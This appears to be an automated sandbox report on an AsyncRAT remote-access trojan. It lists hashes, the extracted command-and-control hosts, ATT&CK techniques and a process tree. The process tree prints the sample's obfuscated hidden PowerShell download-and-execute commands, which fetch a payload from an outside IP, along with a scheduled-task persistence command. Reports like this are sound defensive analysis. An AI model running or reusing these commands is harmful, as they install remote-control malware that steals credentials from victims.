asyncrat | 632f2b2d1c5bcf9a75ba1119ab45ebf47efcf588859271163eed515d4ff21a5d

Analysis

max time kernel
146s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2024, 01:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe
Size 1.2MB
Sample240406-b75ccshd67
SHA256 821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1
MD5 a8884d5c23826a156a79a2e40ddbc10f
SHA1 17ba269221f5e728a768f0e19bd1acf8759f44ac
SHA512 8f14f18e84aac4643655994e6d11d1c166607beadbecc9cc969afa0a5e5881df4cf3c74c77f1de092240369e0922da52574108a358b04a3043d450a77191fedd
SSDEEP 1536:67ja7Fg3dR05lpUFpILxwr1088AEUHXTit6oAfMOnYZm/ZMp+E1U793K7nadtU4s:6QiRGpUcwrXLEKXTToMMIYU60gqtU4s
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat rat15 rat spyware stealer

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

RAT15

darkstorm275991.ddns.net:6606
darkstorm275991.ddns.net:7707
darkstorm275991.ddns.net:8808
mrreport.duckdns.org:6606
mrreport.duckdns.org:7707
mrreport.duckdns.org:8808

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
true
install_file
Windows Session Manager.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x00090000000226e5-6.dat	family_asyncrat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
68	4968	WScript.exe
69	1232	WScript.exe
70	4140	powershell.exe
71	1548	powershell.exe
72	3536	powershell.exe
73	3876	powershell.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	Windows Session Manage.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	Windows Session Manager.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 3 IoCs

pid	Process
3372	Windows Session Manage.exe
3420	Windows Session Manager.exe
2820	Windows Session Manager.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2884	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5004	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000_Classes\Local Settings	Windows Session Manager.exe

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
4880	msedge.exe
4880	msedge.exe
1656	msedge.exe
1656	msedge.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
3372	Windows Session Manage.exe
4740	identity_helper.exe
4740	identity_helper.exe
2820	Windows Session Manager.exe
2820	Windows Session Manager.exe
1548	powershell.exe
1548	powershell.exe
4140	powershell.exe
4140	powershell.exe
2820	Windows Session Manager.exe
2820	Windows Session Manager.exe
1548	powershell.exe
4140	powershell.exe
2820	Windows Session Manager.exe
2820	Windows Session Manager.exe
3876	powershell.exe
3876	powershell.exe
3536	powershell.exe
3536	powershell.exe
3876	powershell.exe
3536	powershell.exe
4256	msedge.exe
4256	msedge.exe
4256	msedge.exe
4256	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3372	Windows Session Manage.exe
Token: SeDebugPrivilege	2820	Windows Session Manager.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	4140	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	3536	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe
1656	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2820	Windows Session Manager.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5108 wrote to memory of 3372	5108	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe	86
PID 5108 wrote to memory of 3372	5108	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe	86
PID 5108 wrote to memory of 3372	5108	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe	86
PID 5108 wrote to memory of 3420	5108	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe	87
PID 5108 wrote to memory of 3420	5108	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe	87
PID 5108 wrote to memory of 3420	5108	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe	87
PID 5108 wrote to memory of 1656	5108	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe	90
PID 5108 wrote to memory of 1656	5108	821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe	90
PID 1656 wrote to memory of 5016	1656	msedge.exe	91
PID 1656 wrote to memory of 5016	1656	msedge.exe	91
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 1404	1656	msedge.exe	93
PID 1656 wrote to memory of 4880	1656	msedge.exe	94
PID 1656 wrote to memory of 4880	1656	msedge.exe	94
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95
PID 1656 wrote to memory of 4480	1656	msedge.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe
"C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5108
- C:\Users\Admin\AppData\Local\Windows Session Manage.exe
  "C:\Users\Admin\AppData\Local\Windows Session Manage.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3372
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"' & exit
    3⤵
    PID:4856
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"'
      4⤵
      Creates scheduled task(s)
      PID:2884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4B32.tmp.bat""
    3⤵
    PID:696
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:5004
  - - C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe
      "C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2820
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\fqdzhj.bat" "
        5⤵
        
        PID:1112
      - C:\Windows\SysWOW64\cmd.exe
        
        CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
        6⤵
        
        PID:3088
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1548
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anmjhg.bat" "
        5⤵
        
        PID:4348
      - C:\Windows\SysWOW64\cmd.exe
        
        CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
        6⤵
        
        PID:404
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4140
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ciaxlj.wsf"
        5⤵
        Blocklisted process makes network request
        Checks computer location settings
        
        PID:1232
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://146.103.11.88:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3536
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\mnjdko.wsf"
        5⤵
        Blocklisted process makes network request
        Checks computer location settings
        
        PID:4968
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://146.103.11.88:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
        6⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3876
- C:\Users\Admin\AppData\Local\Windows Session Manager.exe
  "C:\Users\Admin\AppData\Local\Windows Session Manager.exe"
  2⤵
  - Executes dropped EXE
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/Private_Hacking_Cracking_Tools
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcd2b446f8,0x7ffcd2b44708,0x7ffcd2b44718
    3⤵
    PID:5016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2064 /prefetch:2
    3⤵
    PID:1404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,10691968573786796721,9080114065685134827,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
    3⤵
    PID:4480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
